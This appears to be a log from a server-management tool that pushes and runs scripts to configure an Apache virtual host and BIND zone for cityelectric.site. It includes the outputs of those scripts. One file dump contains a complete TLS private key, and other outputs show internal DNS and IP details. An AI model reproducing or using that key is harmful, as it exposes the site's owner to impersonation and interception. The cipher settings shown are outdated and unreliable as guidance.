        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1'
fi


2025-11-18 16:33:07: 

chmod 755 /tmp/pkp881547; /tmp/pkp881547; rm /tmp/pkp881547





2025-11-18 16:33:07: 

PUT: /tmp/pkp844426

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-18 16:33:07: 

chmod 755 /tmp/pkp844426; /tmp/pkp844426; rm /tmp/pkp844426



.


2025-11-18 16:33:09: Establishing a remote connection
2025-11-18 16:33:10: 

PUT: /tmp/pkp939461

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-18 16:33:10: 

chmod 755 /tmp/pkp939461; /tmp/pkp939461; rm /tmp/pkp939461



VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:2)
         port 80 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
         port 443 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
         port 443 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:21)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-11-18 16:33:11: 

PUT: /tmp/pkp221508

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/cityelectric_www_site.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-18 16:33:11: 

chmod 755 /tmp/pkp221508; /tmp/pkp221508; rm /tmp/pkp221508

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf	1300

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>







2025-11-18 16:33:16: 

PUT: /tmp/pkp504691

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt')
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-18 16:33:16: 

chmod 755 /tmp/pkp504691; /tmp/pkp504691; rm /tmp/pkp504691

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt	3551
1e:c2:aa:aa:4d:86:24:53:fd:4a:7f:6e:c0:7f:1f:bd

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBYXeYB0BsStA8cvZ/pYg3+M6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTE4MTUzNDMzWhcNMjYwMjE2MTUzNDMyWjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOFTY/aAsAmO9G8peaJYijdE53lFC4Vt/EBKW3F8gvcYrwJuGK4kmwB8ux6f
1gf+Ee+alz7bCgQ6Y49vOdBY2eQvGxLwOAfqMkQbLT3/l3SO75CmyWsi85BnRygu
H8tXiTyboUjcVHXmFG6y1ws6aoMRR1fEdufna8s5A6QsL7UHxFN2mMFq0e89YK8K
9kHffRprYjFhdQFJ5JgXPy+/kc84VNqSxOloA60E73eggQeFrO5uxt6qA9Z585oX
n3tz9I1HhB6ig8zfq42+bHruuwGKpSoPMsukz+uF96KIwgqGE/N3e/un4XhEXqAX
T8hIu1NNxjHmwz0IzPMh02F4tqkCAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU7+v2EKx3m0vqtM7WXgMZhhlssycwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFjaXR5ZWxlY3RyaWMuc2l0
ZTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzU5LmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3
ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmpfQAxIAAAQDAEgw
RgIhAKi3r232Mol6OzuyPysPDL7V4MEMSSx+zNeigfvMFbu8AiEAxUmD5fhzzC+1
lGssQIOnbs0Yt0Nc8iq6BofWTsDzbzcAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak
8zZuRqQ/D8qpxgAAAZqX0ANeAAAEAwBIMEYCIQDOODMEQW+g5P+eJeJdEtpdwu2U
8sZYI0Dnif8/MwgkiwIhAN27cwEwfJn+yYy+UfVay8r9TquTKPo9BDEffsiqPrKJ
MA0GCSqGSIb3DQEBCwUAA4IBAQBEi4l40wvTFLnteuUgoM6eszaiTXlX5THcVio5
GlPGKrHmI9r9Qzb6fiE2ekKBAAGH5ujjiQl6b7wg5fPtFuHdOxgl4LBhI/QAytpL
5Luf46ABnpPSdr+BfHtaKdsE/OjgtPHvuAN7y8VHTYubAqVCqv0pUaJNRlMoXJLE
nQNsbkuC/NgzL0ShrHBWJTes5IykNEBUu+06uMJx+hWkt92PPsEqujC0aR3t5Brc
iHFUwizWhjjaZoo94EVWBPSXLvkemx/NBGb6HxYYXbc1Y5cCAY/wMCJqiszrYIgA
9gU57Bd5M5egtURx+fNAghTheA0q7TahHF2b8UUPkYdKJjxf
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDhU2P2gLAJjvRv
KXmiWIo3ROd5RQuFbfxASltxfIL3GK8CbhiuJJsAfLsen9YH/hHvmpc+2woEOmOP
bznQWNnkLxsS8DgH6jJEGy09/5d0ju+QpslrIvOQZ0coLh/LV4k8m6FI3FR15hRu
stcLOmqDEUdXxHbn52vLOQOkLC+1B8RTdpjBatHvPWCvCvZB330aa2IxYXUBSeSY
Fz8vv5HPOFTaksTpaAOtBO93oIEHhazubsbeqgPWefOaF597c/SNR4QeooPM36uN
vmx67rsBiqUqDzLLpM/rhfeiiMIKhhPzd3v7p+F4RF6gF0/ISLtTTcYx5sM9CMzz
IdNheLapAgMBAAECggEAFgx/8qYjE7xeZOZNFbrOQ5xFflNoTjU2AuCD1DYX5rAO
qBE37wp79G9ALD39xqhw/t5EwIzUjRddmLKMmLupDrAhWRgSk4uyQYHbSn7RRkGa
ZbA8c3RnGxFQIDlrOQ2myzx7atLMnQDXrQFpE5sywwKU1ZzO+eBmZut8VLtSK8eY
xiarOedoQ3vKLkZ4sOoG8e6MUNXDJvQVGDXAAaW6+uJCfSR4zDkKFkB6viJvvp63
XSRVYAZwsaQQ8eVvPfhyPjrkha0ZJ/exKX95ihhRP8tt8iliG3t7vEcMIZdVSqq/
DMtdMOMceUxsJEVFCiIJmo+2lIgLsUgRw+2Gyv7bgQKBgQD06X6XbGIXmxkNS1m+
A0MmLTq8UtwSZ4K3SRU2+3pzmjAq9aXROXRD39jYiVEpV1VTpkKjyKPGSluY2nTv
y2bVbpDRQbg43M6xdC5H7sNmIDU0iuQmbvlI43/qbyjY+BCcxW9uoB6KFjVEnQQt
ulrA6JlUfFdj5CXtHFFpCgN6GQKBgQDrhuRuDGVz6oOqXsGWekz8gwaksj9ynplO
6J9DlnDshgSOWqXmDBdso4OhyMdsZ2X147VlxrZ+X1bQ/WoyC/UAg9ze/ZWC+zWy
ek0T1rQetK1kQ2GliUaaj61BbdZawtvopc/EYDHnjcY7ZX+UkNIV22xYT59AUTD+
asgpz9PTEQKBgQC15hH6nyn/xFcH87X0lXGzEha0tonzNWP1g1c5Xe/lmlg6H/aG
/bgnjUL+GIbqQI4EMdD+2k8hQCrlzSLa0uROku8GLFyKBx2Q2Oxiyqff2v4JRzsK
fJOzmhxwXx0kgKG9/jm0HUJxZusrSb9Hw0gSTO9Mu4kgjNvKTqT8cc6BSQKBgHLq
Vfn7wmRUP/mYUgwBkB6EL3GcJqjeCR8fENYBSQeePArY36jmrWcsQMVnGSYjLPRU
LeWClvgBvHIrsuzIOLoPnGyQfapytzhlw8WyNB/nN9J7reD+oZw4Deimlreh63oP
rNe7t52q5tWEKENshZR0guBzuNfAxY7cutzrsgaBAoGAEzacN9YGEwXFGFcqrwrb
JaWpkBSqodQXna3hSZcLrSpCPZeqsb1am4uQzdCaHQHBnVkWx9DiZaqp//0+vuBd
JwwNhZ39NkO3oKRRH+gk+cuabExCcK3O1zfrCPQFyCdNL7XgiSXRATxp5GoFLYY+
pPRLKMvNnNwWxiraTDIsx/o=
-----END PRIVATE KEY-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt	1806
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-18 16:33:25: Establishing a remote connection
2025-11-18 16:33:32: Establishing a connection
2025-11-18 16:33:32: 

PUT: /tmp/pkp236788

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:33:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp236788; rm /tmp/pkp236788'

2025-11-18 16:33:32: 
2025-11-18 16:33:32: 

PUT: /tmp/pkp661369

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-18 16:33:32: 

chmod 755 /tmp/pkp661369; /tmp/pkp661369; rm /tmp/pkp661369

2025-11-18 16:33:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	486
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 132696714 14400 3600 14400 3600 )
cityelectric.site.       		 IN    NS       	ns1.hostz.org.
cityelectric.site.       		 IN    NS       	ns2.hostz.org.
@                        		 IN    A        	10.140.12.86
_acme-challenge           60	 IN    TXT      	"e70bvyizDy7mjcpjSMUe9Iok43ywIIc6FywMiO82lZc"






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
